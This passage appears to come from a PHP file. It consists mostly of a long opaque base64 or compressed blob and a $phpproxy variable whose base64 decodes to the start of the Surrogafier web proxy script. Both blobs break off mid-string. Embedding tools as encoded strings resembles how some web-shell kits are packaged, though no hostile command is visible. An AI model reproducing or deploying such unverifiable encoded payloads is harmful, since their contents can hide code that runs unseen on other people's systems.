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"; + +$phpproxy=" +PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cm